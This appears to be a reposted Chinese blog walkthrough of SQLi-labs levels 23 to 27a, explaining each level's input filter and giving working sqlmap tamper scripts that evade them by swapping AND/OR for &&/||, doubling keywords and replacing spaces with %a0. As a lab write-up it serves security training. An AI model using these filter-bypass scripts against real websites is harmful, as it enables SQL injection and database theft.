码迷,mamicode.com
首页 > 数据库 > 详细

sqlilab less23-less27a

时间:2020-08-05 13:12:44      阅读:75      评论:0      收藏:0      [点我收藏+]

标签:注释   lis   evel   pytho   脚本   ima   处理   org   报错   

less23

本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1,将其加在注入语句的末尾,使用suffix参数

技术图片

 

 技术图片

 

 


 

 less-24

 


less-25

参数经过blacklist处理

技术图片

 

 blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

技术图片

 

 对sqlmap的一个payload进行修改

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    
    if payload:
        payload1=payload.replace(‘ AND ‘,"&&")
        payload2=payload1.replace(‘ OR ‘,"||")
        payload=payload2

    return payload

  成功注入

技术图片

 


 

less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

技术图片

 

 需要用and ‘1‘=‘1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

技术图片

 

 

技术图片

 

 

攻击日志:

技术图片

 

 


 

less-26a

不同于上一关,这里是用小括号进行了包裹

技术图片

 

 tamper

 1 #!/usr/bin/env python
 2 
 3 from lib.core.enums import PRIORITY
 4 from lib.core.compat import xrange
 5 import re
 6 
 7 __priority__ = PRIORITY.LOWEST
 8 
 9 def dependencies():
10     pass
11 
12 def tamper(payload, **kwargs):
13   
14     if payload:
15         payload1=re.sub(r AND ,%a0%26%26%a0,payload)
16         payload2=re.sub(rOR,OORR,payload1)
17         payload=payload2
18     retVal = payload
19 
20     if payload:
21         retVal = ""
22         quote, doublequote, firstspace = False, False, False
23 
24         for i in xrange(len(payload)):
25             if not firstspace:
26                 if payload[i].isspace():
27                     firstspace = True
28                     retVal += "%a0"
29                     continue
30 
31             elif payload[i] == \‘:
32                 quote = not quote
33 
34             elif payload[i] == ":
35                 doublequote = not doublequote
36 
37             elif payload[i] == " " and not doublequote and not quote:
38                 retVal += "%a0"
39                 continue
40 
41             retVal += payload[i]
42 
43     return retVal

使用sqlmap进行前后的包裹

技术图片

 

 

技术图片

 

 


 less-27

 过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过技术图片

 

 使用随机大小写和空格匹配tamper

技术图片

 

 

技术图片

 

 


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

技术图片

 

 利用上一题的tamper,对前后的包裹进行修改

技术图片

 

 

技术图片

 

 攻击日志

技术图片

 

sqlilab less23-less27a

标签:注释   lis   evel   pytho   脚本   ima   处理   org   报错   

原文地址:https://www.cnblogs.com/hongren/p/13418741.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!